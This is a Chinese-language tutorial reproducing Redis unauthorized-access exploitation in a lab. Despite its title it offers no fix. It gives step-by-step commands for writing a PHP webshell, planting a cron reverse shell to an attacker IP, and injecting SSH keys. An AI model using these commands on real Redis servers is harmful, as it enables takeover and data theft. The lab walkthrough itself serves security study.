溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Redis中出現(xiàn)未授權(quán)訪問如何解決

發(fā)布時間:2021-07-12 09:19:44 來源:億速云 閱讀:608 作者:Leah 欄目:開發(fā)技術(shù)

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)Redis中出現(xiàn)未授權(quán)訪問如何解決,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

漏洞原理

Redis 默認(rèn)情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認(rèn)證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh文件夾的authotrized_keys 文件中,進而可以使用對應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。

利用條件

  • redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規(guī)則避免其他非信任來源 ip 訪問等相關(guān)安全策略,直接暴露在公網(wǎng)

  • 沒有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)

漏洞危害

  • 攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)

  • 攻擊者可通過eval執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件

  • 最嚴(yán)重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器

漏洞復(fù)現(xiàn)

搭建測試環(huán)境

受害機Ubuntu 20.04

  1. 安裝php:sudo apt install php7.4-cli libapache2-mod-php

  2. 安裝apache2:sudo apt install apache2 。并啟動apache服務(wù):sudo service apache2 start 。

  3. 安裝redis,環(huán)境需要4.x/5.x以下的redis版本,這里下載3.2版本的,并解壓、編譯:

$ wget http://download.redis.io/releases/redis-3.2.11.tar.gz
$ tar -zxvf redis-3.2.11.tar.gz
$ cd redis-3.2.11
$ make

如果make 時遇到以下報錯,需要安裝gcc,并設(shè)置啟動參數(shù):

錯誤信息如下:

/bin/sh: cc: command not found

解決辦法,安裝gcc:

sudo apt install gcc

然后設(shè)置make啟動參數(shù)后即可運行:

make MALLOC=libc

4.編譯完成后,進入src目錄下,復(fù)制redis-cliredis-server/usr/bin/目錄下:

$ cd src
$ sudo cp redis-cli redis-server /usr/bin/

5.回到redis-3.2.11目錄中,復(fù)制redis.conf文件到/etc/目錄下:

$ cd ..
$ sudo cp redis.conf /etc/

使用sudo vim /etc/redis.conf 編輯配置文件,將61行的IP注釋起來,表示外網(wǎng)可訪問,如下:

Redis中出現(xiàn)未授權(quán)訪問如何解決

然后將80行的yes改為no,表示關(guān)閉保護模式,如下:

Redis中出現(xiàn)未授權(quán)訪問如何解決
然后保存退出。

使用redis-server /etc/redis.conf啟動redis服務(wù):

Redis中出現(xiàn)未授權(quán)訪問如何解決

打開一個新的終端,在窗口使用redis-cli 命令,測試能否正常連接redis:

Redis中出現(xiàn)未授權(quán)訪問如何解決

使用quit退出redis命令行,然后在Ubuntu終端中開啟ssh服務(wù),確保后面能使用ssh進行連接:

$ sudo service ssh start

攻擊機Kali 2021.1

只要能連上redis即可,需要有redis-cli 命令,如果沒有redis,需要進行安裝:
bash $ sudo apt install redis-tools

利用redis寫入webshell

利用條件

  • 服務(wù)器開著web服務(wù)

  • redis有web目錄寫權(quán)限,可以往web路徑寫入文件

利用過程

測試使用Kali連接Ubuntu的redis服務(wù):

$ redis-cli -h 192.168.101.6

Redis中出現(xiàn)未授權(quán)訪問如何解決

如果成功連接上受害機,說明受害機存在redis未授權(quán)訪問漏洞。

redis可以寫入文件。使用config get dir 命令可以查看寫入文件的目錄,并且可以用來修改寫入文件的目錄。如下:

Redis中出現(xiàn)未授權(quán)訪問如何解決

因為web服務(wù)無法訪問到/home目錄下的內(nèi)容,所以需要修改redis保存文件的路徑,將其修改到網(wǎng)站的根目錄下,也就是 默認(rèn)的 /var/www/html 目錄。因此redis需要具有對/var/www/html 寫入的權(quán)限,使用config set dir /var/www/html 來修改dir的值:

Redis中出現(xiàn)未授權(quán)訪問如何解決

然后使用redis寫入文件:

$ config set dbfilename shell.php
$ set xxx "<?php phpinfo(); ?>"
$ save

然而并不能寫入文件,結(jié)果如下:

Redis中出現(xiàn)未授權(quán)訪問如何解決

具體原因是因為redis對web根目錄沒有寫入權(quán)限,這是一個比較重要的點,也是能否利用未授權(quán)訪問來getshell的因素之一。為了測試,此時需要手動在受害機網(wǎng)站根目錄中,新建一個其他用戶具有可寫入權(quán)限的文件夾,然后再將redis保存文件的dir值修改為新建文件夾的路徑:

Redis中出現(xiàn)未授權(quán)訪問如何解決

Redis中出現(xiàn)未授權(quán)訪問如何解決
此時再次進行寫入,可以看到已經(jīng)保存成功了:

Redis中出現(xiàn)未授權(quán)訪問如何解決

成功寫入文件后可以在受害機中進行查看:

Redis中出現(xiàn)未授權(quán)訪問如何解決

現(xiàn)在在瀏覽器中訪問這個頁面試試:

Redis中出現(xiàn)未授權(quán)訪問如何解決

從上面的訪問結(jié)果可以看出我們寫入的php代碼已經(jīng)成功執(zhí)行并返回。再次寫入文件,將一句話木馬寫入到目錄中:

Redis中出現(xiàn)未授權(quán)訪問如何解決

訪問webshell頁面:

Redis中出現(xiàn)未授權(quán)訪問如何解決

使用蟻劍連接webshell:

Redis中出現(xiàn)未授權(quán)訪問如何解決

利用redis反彈shell

原理:在攻擊機上開啟nc反彈端口監(jiān)聽,通過redis未授權(quán)訪問漏洞,寫入Linux定時計劃,反彈shell。

利用條件對/var/spool/cron文件夾有寫入權(quán)限

利用過程首先在攻擊機監(jiān)聽一個端口:

$ nc -lvnp 6666

Redis中出現(xiàn)未授權(quán)訪問如何解決

在攻擊機開啟新的命令行窗口,連接受害機的redis服務(wù),然后執(zhí)行下面的命令:

$ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n"
$ config set dir /var/spool/cron/
$ config set dbfilename root
$ save

Redis中出現(xiàn)未授權(quán)訪問如何解決

注意此處的計劃任務(wù)命令,如果在Ubuntu中,是無法反彈shell的,原因是因為ubuntu會將redis寫入的緩存亂碼當(dāng)作命令來解釋,導(dǎo)致執(zhí)行不成功。而centos不會對亂碼進行解釋,可以成功執(zhí)行反彈shell的命令。

可以在受害機查看文件是否保存成功:

Redis中出現(xiàn)未授權(quán)訪問如何解決

但是在ubuntu下無法反彈shell,這是由于redis向任務(wù)計劃文件里寫內(nèi)容出現(xiàn)亂碼而導(dǎo)致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執(zhí)行格式正確的任務(wù)計劃,而ubuntu并不會忽略這些亂碼,所以導(dǎo)致命令執(zhí)行失敗,因為自己如果不使用redis寫任務(wù)計劃文件,而是正常向/etc/cron.d目錄下寫任務(wù)計劃文件的話,命令是可以正常執(zhí)行的,所以還是亂碼的原因?qū)е旅畈荒苷?zhí)行,而這個問題是不能解決的,因為利用redis未授權(quán)訪問寫的任務(wù)計劃文件里都有亂碼,這些代碼來自redis的緩存數(shù)據(jù)。

利用redis寫入ssh公鑰

利用條件受害機必須有~/.ssh文件夾,無論是普通用戶還是root用戶,否則無法在redis中設(shè)置dir的值

直接使用~/.ssh是不行的,需要絕對路徑。

Redis中出現(xiàn)未授權(quán)訪問如何解決

另一個條件就是需要知道家目錄的名稱,比如上面的/home/unravel/.ssh,必須知道unravel

利用過程首先在攻擊機生成ssh公鑰,用于連接受害機時來使用私鑰驗證登陸:

$ ssh-keygen

Redis中出現(xiàn)未授權(quán)訪問如何解決

將公鑰開頭和結(jié)尾添加兩行換行,并存儲為新的文本文件,用于redis在連接時寫入的內(nèi)容。添加兩個換行的原因是對redis緩存垃圾數(shù)據(jù)和公鑰的內(nèi)容分隔開來,以免ssh連接失敗??梢允褂胋ash命令來完成這個操作:

(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt

Redis中出現(xiàn)未授權(quán)訪問如何解決

使用攻擊機連接受害機時寫入變量x,x存儲攻擊機的公鑰:

cat key.txt | redis-cli -h 192.168.101.6 -x set x

Redis中出現(xiàn)未授權(quán)訪問如何解決

使用攻擊機連接受害機redis,將寫入的文件路徑設(shè)置為/home/unravel/.ssh,并設(shè)置保存的文件名稱為authorized_keys

注意authorized_keys名稱是固定的,不能隨便改,否則連接不上ssh
bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save

Redis中出現(xiàn)未授權(quán)訪問如何解決

然后在受害機文件中查看一下:

Redis中出現(xiàn)未授權(quán)訪問如何解決

在攻擊機嘗試使用本地私鑰對受害機進行連接:

$ ssh unravel@192.168.101.6 -i ~/.ssh/id_rsa

Redis中出現(xiàn)未授權(quán)訪問如何解決

上述就是小編為大家分享的Redis中出現(xiàn)未授權(quán)訪問如何解決了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI